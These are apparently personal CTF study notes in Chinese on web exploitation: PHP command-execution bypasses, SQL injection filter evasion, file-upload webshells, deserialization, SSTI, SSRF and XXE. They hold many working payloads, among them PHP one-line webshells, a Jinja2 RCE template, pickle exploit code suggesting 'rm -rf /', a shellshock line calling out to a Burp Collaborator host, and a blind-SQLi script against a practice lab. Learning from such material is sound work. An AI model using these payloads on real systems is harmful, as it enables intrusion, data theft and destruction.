CTF 知识点整理
WEB
RCE
一些常见的php无参数函数
1 | end() - 读取数组最后一个元素 |
1. 利用webshell或者` ` php会执行里面的语句,相当于shell_exec

在一些题目中可能会ban掉非常多的函数
但是php中可以使用==` `== 反引号来执行命令,比如print_r(`dir+\`) 打印出目录(和ls一个效果 ==nl== 相当于cat
还有一个通用的办法,是利用webshell。 比如在这道题中的限制都是针对code的,然后会运行eval($code) , 那我们完全可以利用code重新写一个php文件,这样网站会创建我们写的文件,文件中的内容是

这样子就可以绕过code,直接执行post中传入的参数1的内容。
但是关键的一点,要现在bp将两个内容encode成url,在hackbar中要在encode一次
(猜测是因为只encode一次会变成php文件 在encode会变成扩展名为php的文本类型
在用hackbar执行 命令之后,就可以访问到这个shell.php, 再利用bp,将参数1赋值成你想要的东西 利用 shell_exec()函数 如1 = shell_exec(‘ls’);
2 正则匹配没有那么严格 利用取反和url编码成不可见字符

这里的黑名单是针对特定的字符,我们可以把指令通过==取反==和url编码成不可见的字符从而逃过匹配。 所以这里是一个==取反再取反== 的过程,就是先把需要的字符取反,然后再传入参数的时候再取反
但是取反之后payload必须按照(函数名)() 的格式传入,不然取反之后php不知道哪一块是函数。

==~==是php中的取反操作

所以payload为
1 | ?wllm=(~8C%86%8C%8B%9A%92)(~%93%8C%DF%D0); |
同样的道理,再编写cat 和/f*的payload
这有一篇csdn总结无字幕数字绕过正则表达式总结的https://blog.csdn.net/miuzzx/article/details/109143413
几个外部执行命令的区别
1 | shell_exec() |
在修改请求头的时候考虑加上X-Forwarded-For: 127.0.0.1
X-Forwarded-For(XFF)是一个HTTP请求头字段,通常用于标识客户端的真实IP地址,即使请求经过了多个代理或负载均衡服务器。
在流量包(网络抓包)中,Referer(有时写作Refer)是 HTTP 请求头字段之一,主要用于指示当前请求是从哪个页面跳转过来的。它的作用是告诉服务器,用户是从哪个 URL 访问当前资源的。得到信息没有flag字样的时候想想是不是base64等编码
php伪协议无法使用就用日志注入 蚁剑中的https证书忽略打开 做过一题限制了显示个数 所以不能尝试太多
md5相同但是字符串不同:
md5(‘240610708’) = 0e462097431906509019562988736854
md5(‘QNKCDZO’) = 0e830400451993494058024219903391
md5(‘aabg7XSs’) = 0e087386482136013740957780965295
md5(‘aabC9RqS’) = 0e260421314791580664869894734725
314282422 QLTHNDT EEIZDOI```双md5 都是0e开头:
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
6. sql注入单引号被过滤的时候用双引号
7. 常见sql注入过滤
空格过滤 → 用
/**/、%0a、%0d代替。引号过滤 → 用
Hex编码或字符串函数(如CHAR(97))。关键词过滤 → 尝试大小写、内联注释(
SEL/*!*/ECT)、冗余语法(UNION ALL SELECT)。逗号过滤 → 使用
JOIN代替UNION SELECT 1,2,3。等号过滤 → 用
LIKE或IN绕过,例如WHERE id LIKE 1。
- 数据库查询长度超出待查询的字符串后会返回特殊字符 NULL 或者 !等
- md5($str, false) 这是md5的默认情况 返回32位16进制数 如果是 md5($str, true)就返回16位二进制数 ffifdyop 是true参数时候的漏洞 md5 (‘ffifdyop’,true)=’or’6xxxxxx
- php函数
glob('*');查看当前目录中的文件 配合highlight_file('$filename')查看 - php中
<?php等价于<?=可以减少字符数 - 在 php 中 “.user.ini” 有如下解释:php 会在每个目录下搜寻文件名,如果设定为空字符串则 php 不会搜寻,也就是在 “.user.ini” 中如果设置了文件名,那么任意一个页面都将该文件中的内容包含进去。有两种方法:
auto_prepend_file: 在页面顶部加载文件
auto_append_file: 在页面底部加载文件 - 在 php 中,使用
Content-Type: multipart/form-data;上传文件时,会将它保存在临时文件中,在 php 的配置中upload_tmp_dir参数为保存临时文件的路经,linux 下面默认为/tmp。也就是说只要 php 接收上传请求,就会生成一个临时文件。如果具有上传功能,那么会将这个文件拷走储存。无论如何在执行结束后这个文件会被删除。并且 php 每次创建的临时文件名都有固定的格式,为 phpXXXX.tmp(Windows 中)、php**.tmp(Linux 中)。我们可以发送一个上传文件的 post 包,此时 php 会将我们上传的文件保存在临时文件夹下,默认的文件名是 /tmp/phpxxxxxx,文件名最后 6 个字符是随机的大小写字母。如 /tmp/php123abc - mysql中的反引号是为了区分 MYSQL 的保留字与普通字符,所以没有过滤反引号就可以用反引号来绕过
- mysql可以用load_file()函数读取文件union select load_file(‘path_to_file’) 目录可以选/var/www/html/
- 在 MySQL 中,
WHERE子句在比较字符串时会忽略字符串末尾的空格。例如,当执行SELECT * FROM table WHERE column = 'cs ';时,MySQL 会将其视为'cs'进行比较,只要column列的值为'cs'就会匹配成功。这一特性可以用于绕过一些输入过滤机制。 - CHAR 和 VARCHAR 列有最大长度限制:当给
CHAR或VARCHAR列赋值时,如果值的长度超过了列的最大长度,就会对值进行裁剪以使其适合列的长度。
所以比如可以创建一个用户,知道有admin 但是可以再创建,可以输入admin然后很多空格加一个字符 这样子还是可以创建admin 然后密码是空的
- CHAR 和 VARCHAR 列有最大长度限制:当给
严格 SQL 模式的影响:
- 严格模式下:如果被裁掉的字符不是空格,会产生错误并禁用值的插入。
- 非严格模式下:不管被裁掉的字符是什么,都会直接截断值,不会产生错误。
- nl 命令在 linux 系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号!其默认的结果与 cat -n 有点不太一样, nl 可以将行号做比较多的显示设计,包括位数与是否自动补齐 0 等等的功能。(一般对输入字符有限制的时候用
- 在大多数 Linux 系统中,PHP 默认会将 Session 数据存储在
/tmp目录下,文件名通常以sess_为前缀,后跟 Session ID。1
/tmp/sess_abc123def456
- 写入的 session 马上又会被删除,使用我们利用 bp 不断的发包
- 在单引号字符串中插入单引号的办法
'"'"'
原理: 将字符串拆分成多段,通过交替使用单引号'和双引号",间接插入单引号字符。1
2
3
4
5
'<?php system (' + "'" + 'cat fl*' + "'" + ');?>' forward_static_call_array()是 PHP 中的一个内置函数,它允许在运行时动态地调用一个静态方法。其作用类似于call_user_func_array(),但专门用于静态方法调用。
1 | forward_static_call_array(['类名', '静态方法名'], 参数数组); |
与 call_user_func_array() 的区别:call_user_func_array() 也可以用于调用静态方法:但 forward_static_call_array() 主要用于静态上下文,特别是在继承场景下,确保调用的是当前类或子类的方法,而不是基类的方法。
在 PHP 中,默认命名空间为 /,因此调用静态方法时可以使用绝对路径:
23. 在 php 当中默认命名空间是 \,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名 function_name () 调用,调用的时候其实相当于写了一个相对路径;而如果写 \function_name () 这样调用函数,则其实是写了一个绝对路径。如果你在其他 namespace 里调用系统类,就必须写绝对路径这种写法。
24.浏览器内部使用 32 位带符号的整数,来储存推迟执行的时间。这意味着 setTimeout 最多只能推迟执行 2147483647 毫秒(24.8 天)超过这个时间会发生溢出。
25. php伪协议
1
2
3
4
5
6
7
8
9
101)file:// 访问本地文件系统
2)http:// 访问 HTTP (S) 网址
3)ftp:// 访问 FTP (S) URL
4) php:// 访问各个输出输入流
5) zlib:// 处理压缩流
6) data:// 读取数据
7) glob:// 查找匹配的文件路径模式
8) phar:// PHP 归档
9) rar:// RAR 数据压缩
用data伪协议PHP 中直接将数据当作文件流进行读取data://text/plain;base64,[base64] 就是用这个直接写入一个php代码块
26. $IFS(Internal Field Separator)是 Bash 里的内部字段分隔符,默认是空格。cisp-pte课程笔记 ^e8adb4
27. php3,php5,pht,phtml,phps 都是 php 可运行的文件扩展名
28. php 的特性,当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup ();PHP5 < 5.6.25、PHP7 < 7.0.10
29. 如果 PHP 代码使用了 __autoload() 或 spl_autoload_register(),那么在 unserialize() 时,PHP 会尝试自动加载不存在的类。攻击者可能通过控制 autoload 机制,使其加载恶意代码。
1
2
3
4
5 spl_autoload_register(function($class) {
include "/tmp/$class.php"; // 如果 class 不存在,会自动尝试加载
});
unserialize('O:8:"Malicious":0:{}');
30. file_get_contents() 是 PHP 读取文件内容的函数,它可以:
- 读取本地文件 (
file://) - 读取远程文件 (
http:///https://) - 读取特殊流 (
php://input,data://等) - 读取压缩文件 (
compress.zlib://)
data://伪协议允许在 URL 直接存储数据,而不需要实际文件。1
2http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http://node7.anna.nssctf.cn:22738//test2222222222222.php?a=data://text/plain,I%20want%20flagphp://input执行 POST 数据中的 php 代码enctype="multipart/form-data"的时候php://input是无效的url在字符前加
~就是取反,可以用于字母绕过1
2
3
4
echo var_dump(urlencode(~'system'));.htaccess 是一个纯文本文件,它里面存放着 Apache 服务器配置相关的指令。
.htaccess 主要的作用有:URL 重写、自定义错误页面、MIME 类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义 404 错误页面、阻止 / 允许特定 IP/IP 段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。
.htaccess 的用途范围主要针对当前目录。
1
2
3
4
<FilesMatch "\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>extractvalue (1,concat (0x7e,database ()))
EXTRACTVALUE() 是 MySQL 的一个 XML 处理函数,它用于从 XML 数据中提取特定的值.但如果传入 非 XML 结构 的 XPath,会报错,并在错误信息中泄露数据.CONCAT() 用于拼接字符串。0x7e 是 十六进制的 ~(波浪号)用于报错信息可以回显
36. sql注入中可以用substring函数来绕过字符长度限制
37. 在linux中命令中间有分隔符,单引号双引号反斜杠反引号也可以照样执行命令比如l''s l""s l\s l``s
38. #的url编码是%23 '的是%27 \n是%0a
39. 在 PHP 中,如果 md5() 作用于一个数组,它不会计算哈希,而是返回 NULL,但不会报错(因为 error_reporting(0); 关闭了错误输出)。
所以可以用数组来绕过md5验证
40. 在 PHP 中,!== 和 != 都是 比较运算符,但它们有不同的比较方式: ^e8473e
| 运算符 | 作用 |
|---|---|
!= |
不等于(只比较值,允许类型转换) |
!== |
全不等(值或类型不同都算不等) |
41. 在 PHP 中,$_REQUEST 是一个超全局变量,用于获取通过多种方式(如 GET、POST、COOKIE)发送到脚本的数据。 |
|
42. php序列化中的表示O:<类名长度>:"<类名>":<成员数量>:{<成员>} |
|
43. php中的 $str = preg_replace('/NSSCTF/',"",$_GET['str']);如果是将敏感词置换为空,就可以用双写置换,这里就是NSSNSSCTFCTF |
|
| 44. 只能写三个字符但是比一个很大的数字大可以用科学计数法9e9 | |
| 45. intval() 是 PHP 的一个函数,它用于将变量转换为整数(integer)。它的基本用法如下: |
1 |
|
$value(必需):要转换的值,可以是字符串、浮点数、布尔值等。
$base(可选):进制,默认为 10。仅当 $value 是字符串时有效,可用于转换不同进制的数字(如二进制、十六进制)。
1 | echo intval("42"); // 输出: 42 |
%09的url解码是/t(制表符)有时候空格绕过${IFS}也不行的时候用这个- 在文件内容的开头输入
GIF89a主要用于绕过 MIME 类型检测 和 Web 服务器的文件格式验证,在有检测上传文件类型的题目中可以在修改成jpg文件的前面加上这句 - 文件上传的题目如果对文件的类型有检测就要修改MIME就是content-type 比如image/jpeg
- 一些题目中如果过滤了?或者php。又要上传一句话木马,可以上传script版本的
1 | <script language="php">@eval($_POST['a']);</script> |
- PHP 中的
call_user_func()函数:
call_user_func() 是 PHP 的一个回调函数调用方法,它可以用于 动态调用函数 或 类的方法,即在运行时决定要执行哪个函数,而不是在代码编写时就固定。
1 | class Demo { |
都是两个数字一组的加密字符串,不一定是hex,还有可能是tapcode敲击码
sql注入中,如果or或者union这种关键字被过滤尝试双写绕过,而且比如or被过滤那information里面含or也会被过滤
sql中
LIMIT主要用于 限制查询结果的数量,通常用于分页、提高查询效率等。SELECT * FROM table_name LIMIT 偏移量,数量;,就是在你确定sql语句没错的时候,返回的内容没错但是不是想要的,可以在后面加上limit 1,1试试sql注入中最后知道列名查值的时候,1,group_concat(),3这里括号中的名字不要引号,最后的from也不用。在爆表的时候要在库名和列名要在后面的库名或者表名加引号
蚁剑成功连接之后如果无法看到里面的文件,试试虚拟终端中查看
如果是文件上传题对图片的宽和高有要求,尝试在木马文件上面自己定义宽和高
1
2die函数也能调用__toString()方法
__wakeup () 绕过漏洞存在的版本需要满足 PHP5 < 5.6.25 PHP7 < 7.0.10
如果cat无法查看,尝试tac
$md5[0]==md5($md5[0])绕过可以使用 0e215962017,因为这个值的md5也是0e开头的在 Python 正则表达式中,”.” 表示匹配除了换行符之外的任意单个字符,”“ 表示匹配前面的字符零次或多次。因此,”.“ 表示匹配任意长度的字符序列,这也被称为贪婪匹配 (greedy matching)。 注意到这个除了换行符以外,所以可以用%a绕过一些正则匹配,前面是换行就匹配不到
linux中
*会把目录中的第一个匹配到的文件名当作命令 剩下的文件名当作参数执行Apache 解析漏洞主要是因为 Apache 默认一个文件可以有多个用。分割得后缀,当最右边的后缀无法识别(mime.types 文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准) 在一些文件上传问题中可能出现这个问题 所以如果黑名单比较简单,后缀名只看从第一个.开始,就可以上传类似1.php.aaa这样的文件
apache 换行解析漏洞
影响范围:2.4.0-2.4.29 版本
原因:合法后缀配置文件中的正则表达式中 $ 不仅匹配字符串结尾位置,还可以匹配 \n 或 \r,在解析 php 时,1.php\x0A 将按照.php 进行解析,而’.php\x0A’ != ‘.php’, 可能过滤时过滤了.php 但没有过滤.php\x0A 从而实现绕过。配置文件:过滤后缀名.phpapache 2.4.7 无法上传 hhh.php, 上传 hhh.php.xxx 可以绕过。
65. 两个变量同时指向同一个内存地址也可以绕过wakeup,因为这样就是修改另一个变量从而修改被修改的变量的值
66. mt_srand (seed) 用于 初始化随机数生成器,其中 seed 是随机数种子。影响:如果使用相同的 seed,那么后续调用 mt_rand () 生成的随机数 始终相同。
67. 参数传递是大括号的时候,考虑原型链污染,使用的是__proto__这个私有属性
68. 当你试图访问一个不存在或不可访问(如 private)的属性时,__get() 方法会被自动调用。
在 PHP 中,__call() 是一个 魔法方法,当调用未定义或不可访问(如 private)的方法时,它会被自动触发。
68. python中:
__class__获取对象的类。__init__获取类的构造方法。__globals__获取该类定义时的全局变量。
- http请求头中的character就是cookie中设置
Cookie: character=admin - 只允许上传某个特定后缀名的时候,尝试在bp中修改,在限制的文件类型后面再加php
- .htaccess
1
#define width 1; #define height 1; AddType application/x-httpd-php .jpg php_value auto_append_file "php://filter/convert.base64-decode/resource=shella.jpg" ErrorDocument 404 %{file:/flag} 解释这个是个什么代码
- 原始抓包中的数据如果是URL编码,则发送payload也要url编码
- sql报错注入还有updatexml函数
1
2
3
4UPDATEXML(xml_data, xpath_expression, new_value)
#示例
time=updatexml (1,substring (concat (0x7e,(select group_concat (schema_name) from information_schema.schemata),0x7e),25,50),3) - python过滤了一些关键字,可以运行exec的时候,试试base64 exec ‘base64’.decode(‘decode’)
- ssrf重定向漏洞用到的是refer
- shellshock漏洞:,Bash 在解析环境变量时存在漏洞,如果环境变量的值以
()开头并带有 额外的命令,Bash 会在解析时执行这些命令,即使它们不在函数体内。1
(){ :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN
- sql注入的时候,如果查询被截断,就考虑是字符限制,把原始查询的字符删掉
- 如果在发包的时候,输入封号会造成消息的截断,可以用url编码%3B替代
__invoke()是一个魔术方法(Magic Method),用于使对象像函数一样被调用。它的作用是让一个对象能够像普通函数一样执行,而不需要显式调用方法。当试图把一个对象当作函数调用时,就会自动触发__invoke()方法。1
$obj = new CallableClass(); $obj("这是 __invoke 被触发的示例"); // 触发 __invoke()
- 要把一个对象赋值给一个对象属性,而且还是私有的属性,我们不能直接赋值,也不能在外面赋值,但是我们可以使用
__construct构造函数来赋值。 - private 属性的内容会有不可见字符,所以有时候要用urlencode序列化之后的内容
- flask的pin码泄漏可以去 /console /debugger界面执行任意命令,但是执行命令不能用os.system 只会返回0 要用os.popen().read()
- preg_match /i是大小写不敏感的
- 双后缀绕过文件上传限制的时候,gif可以在文件头写GIF89a然后插入php代码,gif这个后缀名有时候会执行php文件
1
2
3
4GIF89a
// php reverse shell - php中的__set函数当试图为一个未定义或不可访问(如私有或受保护)的属性赋值时 调用 get也是
1 | - **`__get($name)`**:当尝试读取对象中未定义或不可访问的属性时,自动调用此方法。 |
示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
class Example {
private $data = [];
public function __get($name) {
echo "获取属性 '$name'\n";
return $this->data[$name] ?? null;
}
public function __set($name, $value) {
echo "设置属性 '$name' 为 '$value'\n";
$this->data[$name] = $value;
}
}
$example = new Example();
$example->property = 'value'; // 调用 __set()
echo $example->property; // 调用 __get()
设置属性 'property' 为 'value'
获取属性 'property'
value
86. php中的几类属性: public公有的属性或方法可以在任何地方被访问,包括类的内部、外部以及子类中
private私有的属性或方法只能在其定义的类内部被访问,不能在子类或类的外部访问
protected受保护的属性或方法只能在类的内部、子类或父类中被访问,不能在类的外部直接访
87. __debugInfo():使用 var_dump() 打印对象时自动调用。__sleep():使用 serialize() 函数序列化对象时自动调用。
88. jinja2ssti注入payload
1
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__=='_IterationGuard' %} {{ c.__init__.__globals__['__builtins__']['eval'](web随记/"__import__('os').popen('whoami').read()") }} {% endif %} {% endfor %}
89. python 中的pickle反序列化漏洞: pickle.loads()是不安全的! 它可以执行任意 Python 代码,如果攻击者构造恶意的 pickle 数据,就能远程执行命令(RCE)
利用方式 :攻击者可以构造一个恶意 pickle 对象,其中包含一个 os.system("command"),然后将其 Base64 编码并提交到 /import 端点。
1
2
3
4
5
6
7
8
9 import pickle
import base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ("touch /tmp/hacked",)) # 或者 "rm -rf /"
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload) # 生成恶意 Base64 字符串
opcode版本
1
2
3
4
5
6
7
8
9import pickle,pickletools
import base64
opcode = b'''cos
system
(S'mkdir static && set > ./static/1'
tR.
'''
pickletools.dis(opcode)
print(base64.b64encode(opcode).decode())
90. flask框架题里面,可以访问任意的url的时候 在/proc/self/cmdline 可以读取当前进程的命令,所以可以得到所在的路由
91. linux中的mac地址在/sys/class/net/eth0/address 如果用mac地址作为随机种子,要去掉冒号,然后加上0x变成十六进制,因为随机种子一般是1位
92. 注意题目python执行的版本不同,有的题目用python2执行的,比如随机种子生成中两个版本的python生成的结果就不一样
93. 在一些无回显的题目中,如果要把返回内容写会到文件,注意flask框架的根目录很可能是/app 写到静态文件/app/static/xxx中
94. 在 Flask 中,url_for 是一个用于生成 URL 的函数,而 current_app 是一个指向当前 Flask 应用实例的全局代理对象。当在 Jinja2 模板中使用 url_for 时,可以通过访问其 __globals__ 属性来获取当前应用实例,即 current_app,进而访问其 config 属性。
{{url_for.__globals__['current_app'].config}}
95. 根据回显的sql脚本 二分法优化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23# -*- coding: utf-8 -*-
import requests
auth = ("natas15", "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx")
url = "http://natas15.natas.labs.overthewire.org/index.php"
password = ""
password_length = 32 # 题目默认32位
for i in range(1, password_length + 1):
low,high = 32,126
while low < high:
mid = (low + high) // 2
payload = f'natas16" and ascii(substr(password,{i},1)) > {mid} -- -'
r = requests.get(url, auth=auth, params={"username": payload})
if "user exists" in r.text:
low = mid + 1
else:
high = mid
if low == high:
password += chr(low)
print(f"Found {i}-th character: {password}")
print(f"Final Password: {password}")
96. sql注入里面用时间盲注的requests的返回时间函数是r.elapsed.total_seconds()
97. mysql中的like是大小不敏感的 如果要大小写敏感就要用 like binary
98. mysql中if函数的最后一个参数的值是条件不成立的时候返回的值 比如if(password like binary "%{i}%",sleep({time}),1) 成立执行第二个参数,不成立执行第三个参数
99. 时间盲注脚本,可以先确定有什么字符优化一下
1 | import requests |
- hex分为普通的hex和asciihex 字符串的时候用asciihex
- 在 PHP 中,
strstr()函数用于在一个字符串中查找指定的子字符串,并返回从该子字符串首次出现的位置开始的剩余部分。 - POST请求的通用头
#### 通用头
Content-Type
指定请求体的数据格式,常见值:application/x-www-form-urlencoded(表单数据,默认格式)multipart/form-data(文件上传或复杂表单)application/json(JSON 数据)text/xml(XML 数据)
- 在 PHP 里,若向
strcmp函数传入数组而非字符串,会引发警告并返回null。由于null在布尔上下文中被视为false,经过逻辑非运算符!处理后就变成了true。因此,当你以数组形式传入passwd参数时,这个条件表达式会被判定为真,从而实现绕过。passwd[]=1 - 要看文件b的内容,但是只能在文件b写内容和在文件b里面 ,可以写
<?php include '/etc/natas_webpass/natas26'; ?> - 如果在请求头中用base64的编码要把=和/ url编码
- php中读取文件目录的函数还有scandir 过滤了. 可以用chr(47) 也就是chr + ascii码的方式绕过
- php中的show_source是查看内容的函数 或者file_get_contents
- nginx配置文件在
/usr/local/nginx/conf/nginx.conf find / -name '*' -exec grep -H 'NSS' {} \; 2>/dev/null藏flag的时候这么找所有的- sql注入中substr被过滤 输出字符又被限制的时候用mid示例
mid(group_concat(flag),20,20)第二个参数表示从第几个开始,最后一个参数表示提取多少 - mysql中的substr索引从1开始不是0
- sql报错注入的extractvalue和updatexml函数只能返回32个字符 right(),left(),substr()来截取字符串
- php md5强比较=== payload
1 | a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 |
- sha1强比较 payload
1 | array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1 |
- php中用get和post传入的参数如果有.和空格会转换成下划线_,如果是+号会转换成空格
- 把字母数字全部禁用,后面是执行两个变量的动态函数,可以通过\create_function调用全局函数,并且绕过waf,然后b用}闭合插入想要执行的命令,最后
/*注释后面的内容
1 | if(preg_match('/^[a-z0-9_]*$/isD',$a)){ show_source(__FILE__); |
1 | - a=\create_function |
- sql有回显的时候,不能用注释符号的时候,可以用sql中的字符运算’username’:”0’+ascii(substr((select * from flag) from “+str(i+1)+” for 1))+’0”
- ssrf中有限制长度的时候,可以用0 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
http://sudo.cc就是指向127.0.0.1- POST请求要加上
Content-Type: application/x-www-form-urlencoded - 要爆破url参数可以用arjun工具爆破
- windows文件上传特性(绕过)
1 | ### 一下字符放在最后在上传到服务器后会自动删除 但是检测文件名的时候还在 |
- 过滤字母数字要用无字母数字的webshell
payload:
1 | <?php |

然后确保上传文件被执行一次,就可以使用稳定的马子
127. 宽子节注入适用于字符编码为 GBK 。原理是当单引号被过滤,会被转义成\', 可以输入%df 因为这GBK编码下,\%df是一个合法的字符就可以让单引号不被转义
128. ssrf漏洞一般只存在get请求中,所以如果想发送数据要用gopher协议 如 gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body
1 | gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1 |
- 在向服务器发送请求时,首先浏览器会进行一次 URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次 URL解码。
- 题目给了提示,curl会跟踪302跳转,这个点主要用于参数长度或内容有限制的时候,可以通过302跳转来实现ssrf。例如,限制了url长度,那么可以在自己的vps或者靶机上,上传构造好的(Location: gopher://xxxxxxxx)跳转页面,然后直接访问跳转页面,即可实现ssrf。
- SVN是一个开放源代码的版本控制系统。在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。 利用工具是https://github.com/kost/dvcs-ripper 可以利用.svn/entries文件,获取到服务器源码
- 文件上传系统,使用tar解压保留软链接的特性实现任意文件读取
ln -s ../../filesystem/adminconfig.lock link
tar cf link.tar link
1 | 上传后tar包将自动解压并保留原始的软链接,此时重新下载link文件即可获得adminconfig.lock |
1 | { |
- 绕过字母waf可以使用url编码
- json长度限制可以用嵌套的键值对
1 | '{"name": {"))))))) or 1=1 limit 1 offset 9-- +":"test"}}' |
- 得到hex先反转再解密
- 已知 order by 、from 后面不可跟’1’,这属于语法错误,但是union select后面可以跟闭合语句,因此需要在最后加一个union select语句
1 | 0'union/**/select/**/1,2,group_concat(x)/**/from/**/(select/**/1/**/as/**/x/**/union/**/select/**/*/**/from/**/ctftraining.flag)a/**/union/**/select/**/1,2,3/**/'1 |
- flask的题目中防止因为后续操作而崩溃
1 | __import__('flask').current_app.view_functions[a]=lambda:"" |
- php可以执行命令的函数system,passthru(),exec(),pcntl_exec,shell_exec()函数,反引号`` ^item-1
- intval函数传入数组时,不关数组中的内容,只要是非空就返回1,转换小数不遵循四舍五入
1 | 1)当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。 |
141.
1 | preg_replace(string $pattern, string $replacement, string $subject) |
第一个参数后面可以添加一些修饰符,比如/i表示不区分大小写匹配,/e表示把第二个参数当作php代码来执行GET:a=/test/e&b=system('cat /flag')&c="just test"
142. ngx.req.get_uri_args存在参数溢出漏洞,只要输入100个参数,在101个参数时,就无法对攻击者构造的参数进行安全检查
143.
1 | Range: bytes=[start]-[end] |
用来绕过输出限制
144. [!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]) 这种格式的代码放在f12的控制台中运行得到flag
145. sql注入如果测试出回显的字段不在最后一个 where和from条件要放在最后1' UNION SELECT group_concat(table_name),2 FROM information_schema.tables WHERE table_schema=database()#
146. 命令执行中如果封号被过滤,可以用?>绕过
147. moectf的xxe漏洞题payload
1 |
|
xxe 过滤file协议的时候要用其他的协议 比如这里的filter 最后输出要根据题目的回显确定标签,这里的<输出>
148. 当flag在php文件的时候,用lfi看不到源码,要尝试用其他协议
php://filter/read=convert.base64-encode/resource=flag.php
149. webshell有过滤的时候eval可以替换成@assert 然后用图片合成免杀马
copy /b image.jpg + shell.php webshell.jpg ^item-2
150. sql注入中两个注释# -- 都被过滤的时候,可以用组合的方式绕过-%23-
151. sql注入有用group_concat(convert(table_name using gbk)) 转换编码
152. 如果文件上传处的校验后缀是用strrchr函数,这个函数是获取最后一次出现某个字符及之后的内容。那可以用双后缀,比如1.php.jpg 再加00截断来绕过 ^ksd3
153. 文件包含题目 自动加上后缀的可以用data协议直接插入php代码执行 让后缀没用
154. 各种webshell 包括无字母数字等 无字母数字webshell总结
155. windows下找flag的命令: findstr /S /I /M "flag" C:\*
156. 删除后缀名可以用双写后缀绕过
157. flask-unsign
158. jwt格式有三段组成
159. 请求的数据 没有思路的时候可以试试改变请求方式成POST CIF web 2025 Mr.Chatbot
160. 有debug字样的网页可能存在命令注入 尝试用’ | 等闭合执行命令 bp 主动扫描
161. 在网页中的js 查看有没有什么api路由有多余的信息
162. ssti xxe等的python和java 的 payload http://gosecure.github.io
163. php中的intval 的第二个参数表示转换的禁止,如果是0表示自动识别 比如0开始是8进制 0x开头是16进制
164. 正则表达式的一些知识:
\d: 匹配任意数字
\s: 匹配任意空白字符 (包括空格、制表符、换行符等)。
165. 按钮被禁止,查看源代码 找到对应的禁止逻辑节点 然后删除节点
166. 修改UA头的格式是 xx/版本号
167. # LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
168. 在 Node.js 的 Express 框架中,解析 URL 参数有一个特性:如果同一个参数名出现了两次,它会变成一个数组。 called parameter type confusion
169. JavaScript 的 .includes() 方法字符串的 .includes():是做子字符串匹配 数组的 .includes():是做精确元素匹配。
170. ImageMagick 7.1.0-51 漏洞很多 CVE-2022-44268
MISC
1 压缩包的文件头是 50 4B 03 04
2 LSB题目用stegsolve工具 的data extract 选RGB 红绿蓝 0
stegsolve功能 : LSB隐写 单图异或 GIF分帧 双图分析
